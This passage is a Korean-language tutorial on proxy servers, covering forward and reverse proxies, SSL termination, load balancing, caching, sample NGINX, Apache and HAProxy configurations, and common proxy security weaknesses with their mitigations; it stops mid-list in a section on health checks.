<p>프록시(Proxy) 서버는 <strong>클라이언트와 서버 사이에 위치해, 클라이언트의 요청을 대신 처리하거나 서버의 응답을 중계</strong>하는 중간 매개체 역할을 수행하는 서버다. 즉, 클라이언트가 직접 목적지 서버에 연결하는 것이 아니라, 프록시 서버를 통해 간접적으로 통신하는 구조를 만든다.</p>
<p>프록시는 요청이 어떤 방향으로 흐르느냐에 따라 <strong>Forward Proxy(정방향 프록시)</strong> 와 <strong>Reverse Proxy(역방향 프록시)</strong> 로 나뉜다. 이를 이해하는 것이 프록시 개념의 핵심이다.</p>
<p>기본적인 작동 방식은 다음과 같다:</p>
<ul>
<li>클라이언트 → 프록시 서버 → 실제 서버</li>
<li>실제 서버의 응답 → 프록시 서버 → 클라이언트</li>
</ul>
<p>프록시 서버는 다음과 같은 작업을 수행할 수 있다.</p>
<ul>
<li>요청 필터링</li>
<li>캐싱</li>
<li>트래픽 기록 (로깅)</li>
<li>콘텐츠 압축 및 해석</li>
<li>TLS 종료 및 복호화 처리</li>
</ul>
<h3 id="12-forward-proxy-vs-reverse-proxy">1.2 Forward Proxy vs Reverse Proxy</h3>
<table>
<thead>
<tr>
<th><strong><em>구분</em></strong></th>
<th><strong><em>Forward Proxy</em></strong></th>
<th><strong><em>Reverse Proxy</em></strong></th>
</tr>
</thead>
<tbody><tr>
<td>위치</td>
<td>클라이언트 앞단</td>
<td>서버 앞단</td>
</tr>
<tr>
<td>대상</td>
<td>클라이언트가 외부와 통신할 때 사용</td>
<td>클라이언트가 서버에 접근할 때 서버 측에서 사용</td>
</tr>
<tr>
<td>사용 주체</td>
<td>사용자, 기업 내부망 사용자</td>
<td>서버 운영자, 서비스 제공자</td>
</tr>
<tr>
<td>주요 목적</td>
<td>접근 차단 우회, 캐싱, 익명성 보장</td>
<td>부하 분산, 보안강화, SSL 종료, 백엔드 보호</td>
</tr>
<tr>
<td>예시</td>
<td>웹 필터링 프록시, Tor, Squid</td>
<td>NGINX Reverse Proxy, Apache mod_proxy, Cloudflare</td>
</tr>
</tbody></table>
<h4 id="forward-proxy">Forward Proxy</h4>
<ul>
<li>사용자는 프록시 서버를 통해 외부의 웹사이트에 접근.</li>
<li>주로 기업/학교 내부에서 인터넷 필터링, 국가 간 차단 우회 등의 목적.</li>
<li>클라이언트의 IP를 숨기고 대신 요청함.</li>
<li>대표 예: Squid, Tor Browser</li>
</ul>
<h4 id="reverse-proxy-1">Reverse Proxy</h4>
<ul>
<li>외부 클라이언트는 실제 서버가 아닌 프록시 서버에 요청을 보냄.</li>
<li>리버스 프록시는 해당 요청을 적절한 백엔드 서버로 전달.</li>
<li>부하 분산, SSL 처리, 웹 애플리케이션 방화벽(WAF), 정적 파일 캐싱 등 고급 기능 수행.</li>
<li>대표 예: NGINX, Apache HTTPD (mod_proxy), HAProxy, Cloudflare</li>
</ul>
<h3 id="13-프록시-서버의-일반적인-사용-목적">1.3 프록시 서버의 일반적인 사용 목적</h3>
<p>프록시 서버는 사용 위치와 역할에 따라 다양한 기능을 제공하며, 대표적인 목적은 아래와 같다:</p>
<h4 id="1-접근-제어-및-보안">1) 접근 제어 및 보안</h4>
<ul>
<li>특정 도메인, 포트, IP 주소에 대한 접근을 제한하거나 허용할 수 있다.</li>
<li>기업 내부망에서는 Forward Proxy로 <strong>불필요한 외부 접속을 차단</strong>하는 데 활용되며, Reverse Proxy는 <strong>공격자에게 실제 서버의 IP를 노출하지 않도록</strong> 보호하는 데 기여한다.</li>
</ul>
<h4 id="2-캐싱과-성능-최적화">2) 캐싱과 성능 최적화</h4>
<ul>
<li>프록시 서버는 자주 요청되는 데이터를 캐시하여, 매번 원본 서버에 접근할 필요 없이 빠르게 응답 가능.</li>
<li>Reverse Proxy에서는 정적 콘텐츠(이미지, JS, CSS 등)를 캐싱해 백엔드 서버 부하를 줄인다.</li>
</ul>
<h4 id="3-익명성-보장">3) 익명성 보장</h4>
<ul>
<li>Forward Proxy는 사용자의 IP를 숨기고 자신이 대신 요청함으로써 사용자의 <strong>익명성을 보호</strong>할 수 있다.</li>
<li>이는 검열 우회, 개인 정보 보호, 위치 기반 콘텐츠 우회에 활용된다.</li>
</ul>
<h4 id="4-트래픽-로깅-및-모니터링">4) 트래픽 로깅 및 모니터링</h4>
<ul>
<li>프록시 서버는 모든 요청/응답을 중간에서 관찰할 수 있어 <strong>트래픽 분석, 보안 로그 수집</strong>에 유리하다.</li>
<li>보안사고 대응 및 컴플라이언스 준수를 위한 모니터링 용도로도 활용됨.</li>
</ul>
<h4 id="5-로드-밸런싱">5) 로드 밸런싱</h4>
<ul>
<li>Reverse Proxy는 여러 백엔드 서버 간에 요청을 분산시켜 서비스 가용성과 확장성을 향상시킬 수 있다.</li>
<li>라운드 로빈, 최소 연결 수 방식 등 다양한 로드 밸런싱 전략 적용 가능.</li>
</ul>
<hr>
<h2 id="2-리버스-프록시의-구조와-동작-원리">2. 리버스 프록시의 구조와 동작 원리</h2>
<h3 id="21-클라이언트-요청-처리-흐름">2.1 클라이언트 요청 처리 흐름</h3>
<p>리버스 프록시는 클라이언트의 요청을 <strong>최종 목적지 서버가 아닌 프록시 서버가 먼저 수신</strong>한다. 이를 통해 서버 인프라 뒤편에 위치한 백엔드 서버들의 노출을 막고, 트래픽을 효율적으로 관리할 수 있다.</p>
<h4 id="동작-흐름-요약">동작 흐름 요약:</h4>
<ol>
<li><p><strong>클라이언트가 도메인 요청 (예: <code>https://example.com</code>)</strong></p>
<ul>
<li>DNS는 실제 백엔드 서버가 아닌 프록시 서버의 IP 주소를 반환.</li>
</ul>
</li>
<li><p><strong>리버스 프록시가 클라이언트의 요청을 수신</strong></p>
<ul>
<li>HTTP 요청 헤더, 쿠키, 요청 메서드 등 분석.</li>
</ul>
</li>
<li><p><strong>리버스 프록시가 요청을 내부적으로 적절한 백엔드 서버로 전달</strong></p>
<ul>
<li>URL 패턴, Host 헤더, 로드 밸런싱 알고리즘 등에 따라 선택.</li>
</ul>
</li>
<li><p><strong>백엔드 서버가 응답 반환 → 프록시 서버가 응답을 수신</strong></p>
</li>
<li><p><strong>프록시 서버가 응답을 클라이언트에게 전달</strong></p>
<ul>
<li>필요 시 콘텐츠 압축, 캐시 처리, 헤더 가공 등도 수행.</li>
</ul>
</li>
</ol>
<blockquote>
<p>주의: 클라이언트 입장에선 백엔드 서버의 존재를 인지하지 못함. 오직 프록시만 보임.</p>
</blockquote>
<h4 id="예시">예시:</h4>
<ul>
<li><code>https://api.example.com</code> → Reverse Proxy → 내부의 <code>http://127.0.0.1:3000</code> API 서버</li>
<li><code>https://static.example.com</code> → Reverse Proxy → 내부의 Nginx 정적 파일 서버</li>
</ul>
<h3 id="22-백엔드-서버와의-연결-관리-방식">2.2 백엔드 서버와의 연결 관리 방식</h3>
<p>리버스 프록시는 <strong>백엔드와의 세션/연결을 어떻게 유지하고 관리하느냐에 따라 성능과 안정성이 좌우</strong>된다. 일반적인 연결 방식은 다음과 같다:</p>
<h4 id="1-keep-alive-연결-유지">1) Keep-Alive 연결 유지</h4>
<ul>
<li>프록시 서버는 백엔드와의 HTTP 연결을 재사용하기 위해 Keep-Alive를 활용.</li>
<li>요청마다 TCP 세션을 새로 여는 비용을 줄여줌.</li>
<li><code>NGINX</code>, <code>Apache</code>, <code>HAProxy</code>는 <code>keepalive_requests</code>, <code>keepalive_timeout</code> 등의 설정 지원.</li>
</ul>
<h4 id="2-커넥션-풀링-connection-pooling">2) 커넥션 풀링 (Connection Pooling)</h4>
<ul>
<li>프록시가 미리 여러 개의 TCP 연결을 열어두고 요청이 들어오면 재활용.</li>
<li>Node.js, Python WSGI 서버, Java 톰캣 등과 연동 시 중요.</li>
<li>고속 처리와 낮은 레이턴시 확보에 기여.</li>
</ul>
<h4 id="3-세션-핀ning-session-affinity">3) 세션 핀ning (Session Affinity)</h4>
<ul>
<li>동일한 클라이언트의 요청이 항상 같은 백엔드로 전달되도록 유지.</li>
<li>로그인 상태, 세션 기반 처리에 유용.</li>
<li>쿠키 기반 세션 스티키(sticky session), IP 기반 라우팅 등으로 구현.</li>
</ul>
<blockquote>
<p>주의: 백엔드 서버가 여러 개일 경우, 세션 유지 로직이 없는 상태에서 라운드 로빈 등 단순 분산을 적용하면 사용자 인증 등에서 문제가 발생할 수 있음.</p>
</blockquote>
<h3 id="23-dns-및-포트-매핑과의-관계">2.3 DNS 및 포트 매핑과의 관계</h3>
<p>리버스 프록시는 보통 클라이언트에게 도메인으로 접근하게 하며, 이는 DNS 및 포트 설정과 밀접한 연관이 있다.</p>
<h4 id="231-dns-구성">2.3.1 DNS 구성</h4>
<ul>
<li>프록시 서버는 여러 도메인 또는 서브도메인을 하나의 IP 주소로 받아 처리 가능.</li>
<li>실제 운영에서는 하나의 서버가 <code>example.com</code>, <code>api.example.com</code>, <code>admin.example.com</code> 등 여러 도메인을 동시에 수신하도록 구성됨.</li>
<li>리버스 프록시는 Host 헤더를 기반으로 내부 라우팅을 결정.</li>
</ul>
<pre><code class="language-bash"># 예시: /etc/hosts 또는 DNS 설정
203.0.113.1    example.com
203.0.113.1    api.example.com</code></pre>
<h4 id="232-포트-매핑-및-nat-관계">2.3.2 포트 매핑 및 NAT 관계</h4>
<ul>
<li>기본적으로 리버스 프록시는 80(HTTP), 443(HTTPS) 포트에서 수신.</li>
<li>내부 백엔드 서버는 보통 8080, 3000, 5000 등의 비표준 포트에서 실행.</li>
<li>이를 통해 외부에서는 단일 포트(80/443)로 접근하되, 내부적으로는 다양한 포트로 트래픽이 전달됨.</li>
</ul>
<pre><code class="language-nginx"># 예시: NGINX 리버스 프록시 설정
location /api/ {
    proxy_pass http://localhost:3000/;
}</code></pre>
<blockquote>
<p>팁: 리버스 프록시와 NAT(Network Address Translation)를 함께 사용할 경우, 내부 IP와 포트를 외부에 노출시키지 않고도 효과적인 서비스 분산이 가능하다.</p>
</blockquote>
<hr>
<h2 id="3-리버스-프록시의-주요-기능">3. 리버스 프록시의 주요 기능</h2>
<h3 id="31-ssl-종단-처리-ssl-termination">3.1 SSL 종단 처리 (SSL Termination)</h3>
<p>리버스 프록시는 HTTPS 통신의 SSL/TLS 암호화를 종단(Terminate) 처리함으로써, 백엔드 서버와의 연결은 암호화되지 않은 HTTP로 유지될 수 있도록 한다. 이는 보안과 성능의 균형을 맞추는 중요한 기법이다.</p>
<ol>
<li><strong>클라이언트와 프록시 간 암호화 유지</strong>  </li>
</ol>
<p>클라이언트와의 통신은 HTTPS로 유지되며, SSL 인증서 및 키는 프록시 서버(Nginx, HAProxy 등)에 배치된다. 프록시가 SSL 암호화를 해제(decrypt)하고, 내부 네트워크로는 HTTP로 요청을 전달한다.</p>
<ol start="2">
<li><strong>백엔드 단순화 및 부하 감소</strong>  </li>
</ol>
<p>백엔드 서버는 SSL 처리 로직이 필요 없으며, TLS 핸드셰이크에 따른 CPU 부하도 감소한다. 결과적으로 서버 응답 성능이 향상될 수 있다.</p>
<ol start="3">
<li><strong>인증서 중앙관리의 장점</strong>  </li>
</ol>
<p>모든 SSL 인증서를 리버스 프록시에 집중 배치함으로써, 갱신과 관리가 단순화된다. Let’s Encrypt를 통한 자동 갱신 구성도 용이하다.</p>
<blockquote>
<p>단, 내부 네트워크의 보안이 약한 경우에는 프록시 이후 구간도 TLS로 구성하는 &quot;end-to-end encryption&quot;이 고려되어야 한다.</p>
</blockquote>
<h3 id="32-로드-밸런싱-load-balancing">3.2 로드 밸런싱 (Load Balancing)</h3>
<p>리버스 프록시는 클라이언트 요청을 여러 백엔드 서버로 분산시켜 서비스의 확장성과 가용성을 확보할 수 있게 한다. 이를 로드 밸런싱이라고 한다.</p>
<ol>
<li><p><strong>정적 로드 밸런싱 방식</strong></p>
<ul>
<li><strong>라운드 로빈</strong>: 요청을 순서대로 각 서버에 분산. 구성 간단하지만 서버 상태는 고려하지 않음.</li>
<li><strong>가중치 기반 (Weighted Round Robin)</strong>: 성능이 높은 서버에 더 많은 요청 할당.</li>
</ul>
</li>
<li><p><strong>동적 로드 밸런싱 방식</strong></p>
<ul>
<li><strong>리스폰스 시간 기반</strong>: 서버 응답 시간에 따라 트래픽 분산.</li>
<li><strong>Health Check 기반</strong>: 장애 서버는 자동 제외. HAProxy, Traefik, Envoy 등에서 지원.</li>
</ul>
</li>
<li><p><strong>세션 유지 기능 (Session Persistence)</strong>  </p>
<ul>
<li>로그인 등의 상태 정보를 유지해야 할 경우 동일 클라이언트의 요청을 항상 같은 서버로 보내는 기능.</li>
<li>쿠키, IP, URL 패턴 등을 기준으로 설정할 수 있다.</li>
</ul>
</li>
</ol>
<blockquote>
<p>로드 밸런싱은 단순 트래픽 분산 외에도, 장애 대응 및 성능 최적화 전략의 핵심 구성요소</p>
</blockquote>
<h3 id="33-캐싱-및-정적-콘텐츠-오프로드">3.3 캐싱 및 정적 콘텐츠 오프로드</h3>
<p>리버스 프록시는 반복적으로 요청되는 정적 리소스(HTML, CSS, JS, 이미지 등)를 자체적으로 캐시하거나 직접 제공하여 백엔드 서버의 부담을 줄일 수 있다.</p>
<ol>
<li><strong>정적 콘텐츠 오프로드</strong>  </li>
</ol>
<p>자주 요청되는 정적 파일을 프록시 서버가 직접 응답함으로써 백엔드 서버의 응답 필요성을 제거한다. NGINX의 <code>location</code> 디렉티브로 구현 가능하며, CDN과의 조합도 가능하다.</p>
<ol start="2">
<li><strong>동적 콘텐츠 캐싱</strong>  </li>
</ol>
<p>로그인 상태에 영향을 받지 않는 API 응답 등은 캐시 저장 후 일정 시간 동안 동일 응답을 제공할 수 있다. 이는 백엔드 처리 비용을 절감하고 응답 속도를 향상시킨다.</p>
<ol start="3">
<li><strong>캐시 무효화 및 조건부 처리</strong></li>
</ol>
<ul>
<li>캐시된 데이터가 일정 주기나 조건에 따라 무효화되도록 설정 가능.</li>
<li><code>ETag</code>, <code>Last-Modified</code> 등의 HTTP 헤더 기반 조건부 캐싱을 통해 효율적인 전송 가능.</li>
</ul>
<blockquote>
<p>과도한 캐싱은 데이터 불일치를 야기할 수 있으므로 신중한 정책 수립이 요구됨</p>
</blockquote>
<h3 id="34-요청-필터링-및-접근-제어">3.4 요청 필터링 및 접근 제어</h3>
<p>리버스 프록시는 네트워크 수준에서 접근을 제어하거나 요청의 유효성을 검증하는 보안 기능을 수행할 수 있다.</p>
<ol>
<li><p><strong>IP 기반 접근 제한</strong></p>
<ul>
<li>특정 IP 주소 대역만 허용하거나, 블랙리스트 지정 가능.</li>
<li>NGINX에서는 <code>allow</code>, <code>deny</code> 지시어 사용.</li>
</ul>
</li>
<li><p><strong>URL/패턴 기반 필터링</strong></p>
<ul>
<li>의심스러운 경로(<code>/admin</code>, <code>/shell</code>, <code>/phpmyadmin</code> 등)에 대한 차단.</li>
<li>User-Agent, Referer 등을 기반으로 필터링 가능.</li>
</ul>
</li>
<li><p><strong>DDoS 또는 봇 차단 기능</strong></p>
<ul>
<li>요청 수 제한(Rate Limiting), 특정 시간 내 요청 횟수 제한.</li>
<li>Cloudflare, AWS WAF, NGINX Plus 등의 상용 솔루션과 연동 시 고급 필터링 가능.</li>
</ul>
</li>
<li><p><strong>HTTP 인증 처리</strong>  </p>
<ul>
<li>프록시에서 Basic 인증, 토큰 기반 인증 등의 1차 인증을 걸 수 있음</li>
<li>백엔드 서버에 전달 전에 인증 여부를 사전 확인할 수 있음.</li>
</ul>
</li>
</ol>
<hr>
<h2 id="4-주요-리버스-프록시-소프트웨어">4. 주요 리버스 프록시 소프트웨어</h2>
<h3 id="41-nginx의-리버스-프록시-구성">4.1 NGINX의 리버스 프록시 구성</h3>
<p>NGINX는 경량화된 고성능 HTTP 서버로 출발했지만, 리버스 프록시 기능에서도 매우 널리 활용된다. 낮은 메모리 사용량과 높은 처리 성능, 간단한 설정 방식 덕분에 대규모 서비스에서도 사용된다.</p>
<ul>
<li><strong>기본 설정 예시</strong>  <ul>
<li><code>/etc/nginx/sites-available/default</code> 파일에서 <code>location</code> 블록 내에 <code>proxy_pass</code> 지시어를 통해 리버스 프록시를 구성할 수 있다.</li>
</ul>
</li>
</ul>
<pre><code class="language-nginx">server {
    listen 80;
    server_name example.com;

    location / {
        proxy_pass http://127.0.0.1:8080;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}</code></pre>
<ul>
<li><p><strong>기능 확장</strong></p>
<ul>
<li><code>proxy_cache</code>, <code>proxy_buffering</code>, <code>proxy_redirect</code> 등을 통해 캐싱과 리디렉션 제어 가능</li>
<li>SSL 종단 처리를 위해 <code>listen 443 ssl</code> 및 <code>ssl_certificate</code>, <code>ssl_certificate_key</code> 설정 추가</li>
</ul>
</li>
<li><p><strong>활용 사례</strong></p>
<ul>
<li>마이크로서비스 아키텍처에서 프론트로 요청을 받고, 내부 API 게이트웨이 역할 수행</li>
<li>정적 리소스는 직접 서빙하고, 동적 요청은 백엔드에 전달하는 하이브리드 구성 가능</li>
</ul>
</li>
</ul>
<h3 id="42-apache-httpd의-mod_proxy-설정">4.2 Apache HTTPD의 mod_proxy 설정</h3>
<p>Apache HTTP Server는 오랜 역사와 광범위한 호환성을 가진 웹 서버이며, <code>mod_proxy</code> 모듈을 활성화하여 리버스 프록시로 사용할 수 있다. 보통 레거시 시스템이나 특정 CMS 기반 시스템에서 많이 활용된다.</p>
<ul>
<li><strong>mod_proxy 활성화</strong>  <ul>
<li>Apache의 모듈은 <code>a2enmod</code> 명령어를 통해 활성화 가능하다.</li>
</ul>
</li>
</ul>
<pre><code class="language-bash">sudo a2enmod proxy
sudo a2enmod proxy_http</code></pre>
<ul>
<li><strong>기본 설정 예시</strong><ul>
<li><code>000-default.conf</code> 혹은 별도 VirtualHost 파일 내에 아래와 같이 작성한다.</li>
</ul>
</li>
</ul>
<pre><code class="language-apache">&lt;VirtualHost *:80&gt;
    ServerName example.com

    ProxyPreserveHost On
    ProxyPass / http://localhost:8080/
    ProxyPassReverse / http://localhost:8080/
&lt;/VirtualHost&gt;</code></pre>
<ul>
<li><p><strong>기능 특성</strong></p>
<ul>
<li>Apache는 프록시 요청마다 프로세스를 생성하는 구조이므로 NGINX 대비 메모리 부담이 클 수 있다.</li>
<li>다만 <code>.htaccess</code>나 다양한 모듈 조합을 통해 세세한 제어가 가능하다는 점에서 유연성이 높다.</li>
</ul>
</li>
<li><p><strong>활용 사례</strong></p>
<ul>
<li>LAMP 스택과 함께 사용되는 서비스에서 PHP 애플리케이션 앞단 리버스 프록시 역할</li>
<li>일부 모듈(<code>mod_security</code>, <code>mod_rewrite</code>)과의 연계로 보안 정책 적용에 유리</li>
</ul>
</li>
</ul>
<h3 id="43-haproxy의-tcphttp-레벨-프록싱">4.3 HAProxy의 TCP/HTTP 레벨 프록싱</h3>
<p>HAProxy는 고성능 로드 밸런서이자 리버스 프록시로, 특히 <strong>L4(TCP), L7(HTTP)</strong> 레벨 모두 지원하는 점이 특징이다. 다수의 연결을 효율적으로 관리할 수 있어 대규모 트래픽 분산에 자주 쓰인다.</p>
<ul>
<li><strong>기본 HTTP 프록시 설정 예시</strong><ul>
<li><code>/etc/haproxy/haproxy.cfg</code> 파일을 다음과 같이 구성할 수 있다.</li>
</ul>
</li>
</ul>
<pre><code class="language-haproxy">frontend http_in
    bind *:80
    default_backend servers

backend servers
    balance roundrobin
    server web1 192.168.0.101:80 check
    server web2 192.168.0.102:80 check</code></pre>
<ul>
<li><strong>TCP (L4) 프록시 구성</strong><ul>
<li>SSL Termination을 하지 않고 TCP 수준에서의 프록싱을 할 경우 <code>mode tcp</code> 설정 사용.</li>
</ul>
</li>
</ul>
<pre><code class="language-haproxy">frontend ssl_frontend
    bind *:443
    mode tcp
    default_backend tcp_servers

backend tcp_servers
    mode tcp
    server ssl1 192.168.0.201:443 check
    server ssl2 192.168.0.202:443 check</code></pre>
<ul>
<li><p><strong>특징 및 고급 기능</strong></p>
<ul>
<li>상태 검사(Health Check) 기능 내장</li>
<li>접속 제한, 접속 분배, SSL 패스스루 등 다양한 고급 제어 기능 제공</li>
<li>Stick Table, ACL, TCP-level rate limiting 등의 고급 정책 구현 가능</li>
</ul>
</li>
<li><p><strong>활용 사례</strong></p>
<ul>
<li>수십만 동시 접속이 필요한 환경의 L4/L7 로드 밸런서</li>
<li>API Gateway 또는 DB 프록싱 구성에 활용</li>
</ul>
</li>
</ul>
<h3 id="44-클라우드-기반-리버스-프록시-사례">4.4 클라우드 기반 리버스 프록시 사례</h3>
<p>클라우드 인프라에서는 리버스 프록시 역할을 SaaS 형태로 제공하는 서비스들이 존재한다. 인프라 유지 관리 부담이 줄어드는 대신, 구성 방식과 정책 적용은 각 플랫폼에 따라 상이하다.</p>
<h4 id="1-cloudflare">1) Cloudflare</h4>
<ul>
<li>기본적으로 DNS를 통해 트래픽을 자사 인프라로 우회시키며 리버스 프록시 역할 수행</li>
<li>SSL Termination, 캐싱, WAF, Bot Protection 기능 제공</li>
<li>Zero Trust Access Gateway 등과 통합하여 인증 기반 접근 제어도 가능</li>
<li>설정은 웹 UI 및 API로 이루어짐</li>
</ul>
<h4 id="2-aws-application-load-balancer-alb">2) AWS Application Load Balancer (ALB)</h4>
<ul>
<li>L7 계층에서 작동하는 로드 밸런서로, Host, Path 기반 라우팅 지원</li>
<li>인증서 관리(ACM), HTTPS Termination, 대상 그룹 구성 등의 리버스 프록시 역할 수행</li>
<li>EC2, Lambda, ECS 등 다양한 AWS 리소스와 연계 가능</li>
</ul>
<h4 id="3-기타-예시">3) 기타 예시</h4>
<ul>
<li>Google Cloud Load Balancer, Azure Front Door</li>
<li>Fastly, Akamai 등 CDN 기반 고속 리버스 프록시 플랫폼</li>
</ul>
<h4 id="4-활용-사례">4) 활용 사례</h4>
<ul>
<li>다국적 사용자 대상 글로벌 서비스에서 성능 최적화 및 보안성 확보</li>
<li>멀티 백엔드 애플리케이션 구성에서 클라우드 네이티브 라우팅 적용</li>
</ul>
<hr>
<h2 id="5-리버스-프록시와-보안">5. 리버스 프록시와 보안</h2>
<h3 id="51-ddos-완화-및-ip-마스킹">5.1 DDoS 완화 및 IP 마스킹</h3>
<p>리버스 프록시는 <strong>클라이언트와 실제 서버 사이에 위치하여 트래픽 흐름을 통제하고, 공격을 완화할 수 있는 첫 방어선 역할</strong>을 한다. 특히 다음과 같은 보안 기능을 수행한다:</p>
<h4 id="1-ip-주소-은닉-ip-마스킹">1) IP 주소 은닉 (IP 마스킹)</h4>
<ul>
<li>리버스 프록시를 프론트에 두면 클라이언트는 실제 백엔드 서버의 IP를 알 수 없다.</li>
<li>공격자가 직접적으로 백엔드 IP를 알아내기 어렵기 때문에 타겟팅된 공격 차단에 유리.</li>
<li>클라우드 기반 CDN(Cloudflare, AWS CloudFront 등)과 함께 쓰일 때 특히 효과적.</li>
</ul>
<h4 id="2-ddos-완화">2) DDoS 완화</h4>
<ul>
<li>초당 수천~수만 요청이 몰릴 때, 프록시 서버가 요청을 차단하거나 지연시켜 백엔드에 과부하가 전해지지 않도록 방어.</li>
<li>HTTP rate limit, connection 제한, challenge-response (예: CAPTCHA) 등의 기법이 활용됨.</li>
<li>일부 프록시 솔루션은 자동으로 IP 차단 목록(deny list)을 관리함.</li>
</ul>
<h4 id="3-요청-큐잉과-시간-제한">3) 요청 큐잉과 시간 제한</h4>
<ul>
<li>요청을 큐에 넣고 일정 초과시 중단하는 방식으로 과부하 제어.</li>
<li><code>NGINX</code>의 <code>limit_req</code>, <code>HAProxy</code>의 <code>maxconn</code> 옵션 등에서 구현 가능.</li>
</ul>
<blockquote>
<p>주의: 프록시 서버 자체가 DDoS 대상이 될 수 있으므로, L3/L4 수준의 방어(방화벽, 클라우드 보안 솔루션 등)와의 병행이 필요함.</p>
</blockquote>
<h3 id="52-웹-애플리케이션-방화벽waf과의-통합">5.2 웹 애플리케이션 방화벽(WAF)과의 통합</h3>
<p>리버스 프록시는 WAF(Web Application Firewall)를 프론트에 통합시켜 웹 공격으로부터 백엔드를 보호하는 역할도 수행할 수 있다.</p>
<h4 id="1-공격-패턴-필터링">1) 공격 패턴 필터링</h4>
<ul>
<li>SQL Injection, XSS, Path Traversal, CSRF 등 주요 웹 공격을 요청 본문, 헤더, URL에서 탐지 후 차단.</li>
<li>OWASP Top 10에 기반한 룰셋을 활용하는 경우가 많음.</li>
<li><code>ModSecurity</code>, <code>AWS WAF</code>, <code>Cloudflare WAF</code> 등과 연동 가능.</li>
</ul>
<h4 id="2-보안-로깅과-감사">2) 보안 로깅과 감사</h4>
<ul>
<li>리버스 프록시 계층에서 모든 HTTP 요청/응답 로그를 수집해 분석 가능.</li>
<li>특정 URI 접근 시도, 비정상적인 User-Agent, 반복 요청 패턴 등 탐지에 활용됨.</li>
</ul>
<h4 id="3-실시간-대응-시스템과의-통합">3) 실시간 대응 시스템과의 통합</h4>
<ul>
<li>탐지된 공격에 대해 자동 차단, CAPTCHA 도입, IP 차단 등의 동작 가능.</li>
<li>일부 WAF는 리버스 프록시 레이어에서 inline 형태로 삽입되어 동작하며, 머신러닝 기반 위협 인식도 제공됨.</li>
</ul>
<blockquote>
<p>주의: WAF는 오탐이 잦을 수 있으므로 예외 규칙 작성과 테스트가 필수적임.</p>
</blockquote>
<h3 id="53-리버스-프록시-우회-공격-및-취약점">5.3 리버스 프록시 우회 공격 및 취약점</h3>
<p>리버스 프록시도 완벽한 보안 장치는 아니며, 구성 방식이나 정책 설정에 따라 우회 공격 및 취약점이 존재할 수 있다.</p>
<h4 id="1-ip-spoofing-및-헤더-위조">1) IP Spoofing 및 헤더 위조</h4>
<ul>
<li>클라이언트의 실제 IP는 일반적으로 <code>X-Forwarded-For</code>, <code>X-Real-IP</code> 등의 헤더에 포함됨.</li>
<li>공격자가 이 헤더 값을 조작할 경우, 로그 조작 및 접근 제어 우회 가능.</li>
<li>서버 측에서 신뢰할 수 있는 프록시만 해당 헤더를 해석하도록 설정해야 함.</li>
</ul>
<h4 id="2-경로-우회path-bypass">2) 경로 우회(Path Bypass)</h4>
<ul>
<li>특정 프록시 설정에서 필터링 우회가 가능한 경우 존재.</li>
<li>예: <code>/admin</code>은 차단했지만, <code>/admin/../admin</code> 형태로 우회 가능.</li>
<li>URI 정규화(normalization) 처리를 프록시에서 철저히 해야 함.</li>
</ul>
<h4 id="3-내부-서비스-노출">3) 내부 서비스 노출</h4>
<ul>
<li>리버스 프록시를 잘못 설정해 내부 API, 관리 콘솔, 테스트 인터페이스 등이 외부에 노출되는 사례가 있음.</li>
<li><code>location</code> 또는 <code>backend</code> 설정에서 접근 제어 미비 시 발생.</li>
</ul>
<h4 id="4-캐시-중독cache-poisoning">4) 캐시 중독(Cache Poisoning)</h4>
<ul>
<li>특정한 악의적 요청으로 캐시된 콘텐츠를 조작해 다른 사용자에게 악영향을 미치게 함.</li>
<li>프록시 캐싱 로직에서 Host 헤더, 쿠키, 쿼리 파라미터 등을 정확히 분리/관리해야 방어 가능.</li>
</ul>
<blockquote>
<p>주의: 리버스 프록시 설정은 단순히 프록시 역할만 고려할 것이 아니라, 애플리케이션 레이어의 동작과 위협 모델까지 고려해 구성해야 함.</p>
</blockquote>
<hr>
<h2 id="6-리버스-프록시의-실무-구성과-튜닝">6. 리버스 프록시의 실무 구성과 튜닝</h2>
<h3 id="61-다중-백엔드-환경에서의-라우팅-전략">6.1 다중 백엔드 환경에서의 라우팅 전략</h3>
<p>리버스 프록시는 하나의 클라이언트 진입점으로 여러 백엔드 서버 또는 서비스로의 요청을 분배하는 구조를 취한다. <strong>효율적이고 유연한 라우팅 전략은 프록시의 핵심 역할 중 하나</strong>이며, 다음과 같은 방식으로 구성할 수 있다:</p>
<h4 id="1-패스-기반-라우팅-path-based-routing">1) 패스 기반 라우팅 (Path-Based Routing)</h4>
<ul>
<li>요청 URL 경로에 따라 서로 다른 백엔드로 전달.</li>
<li>예: <code>/api/</code> → API 서버, <code>/static/</code> → 정적 파일 서버.</li>
<li>NGINX의 경우 <code>location</code> 블록으로 쉽게 설정 가능.</li>
</ul>
<h4 id="2-호스트-기반-라우팅-host-based-routing">2) 호스트 기반 라우팅 (Host-Based Routing)</h4>
<ul>
<li>요청의 Host 헤더 값에 따라 백엔드 분기.</li>
<li>하나의 프록시 서버에서 여러 도메인을 호스팅할 때 활용됨.</li>
<li>예: <code>api.example.com</code> → API 서버, <code>www.example.com</code> → 웹 서버.</li>
</ul>
<h4 id="3-헤더-기반-라우팅">3) 헤더 기반 라우팅</h4>
<ul>
<li>요청 헤더의 특정 값(User-Agent, Authorization 등)에 따라 백엔드 분기.</li>
<li>모바일/데스크탑 분리, 인증 유무에 따른 백엔드 분리 등에 사용.</li>
</ul>
<h4 id="4-가중치-기반-분산-weighted-load-distribution">4) 가중치 기반 분산 (Weighted Load Distribution)</h4>
<ul>
<li>각 백엔드에 가중치를 부여하여 부하를 비율대로 분산.</li>
<li>NGINX, HAProxy에서 <code>weight</code> 설정 지원.</li>
</ul>
<blockquote>
<p>주의: 라우팅 전략은 단순한 리다이렉션이 아니라, 백엔드 상태와 트래픽 패턴에 따라 동적으로 조정될 수 있도록 구성해야 함.</p>
</blockquote>
<h3 id="62-health-check와-failover-설정">6.2 Health Check와 Failover 설정</h3>
<p>리버스 프록시는 백엔드 서버의 정상 동작 여부를 주기적으로 점검하고, 이상 발생 시 자동으로 트래픽을 다른 서버로 우회시킬 수 있어야 한다.</p>
<h4 id="1-http-기반-health-check">1) HTTP 기반 Health Check</h4>
<ul>
<li>정기적으로 <code>/health</code>, <code>/ping</code> 등 지정된 엔드포인트에 HTTP 요청을 보내 응답 상태 확인.</li>
<li>정상 응답 코드(예: 200 OK)가 오지 않으면 해당 백엔드를 비활성화.</li>
</ul>
<h4 id="2-tcpicmp-기반-체크">2) TCP/ICMP 기반 체크</h4>
<ul>
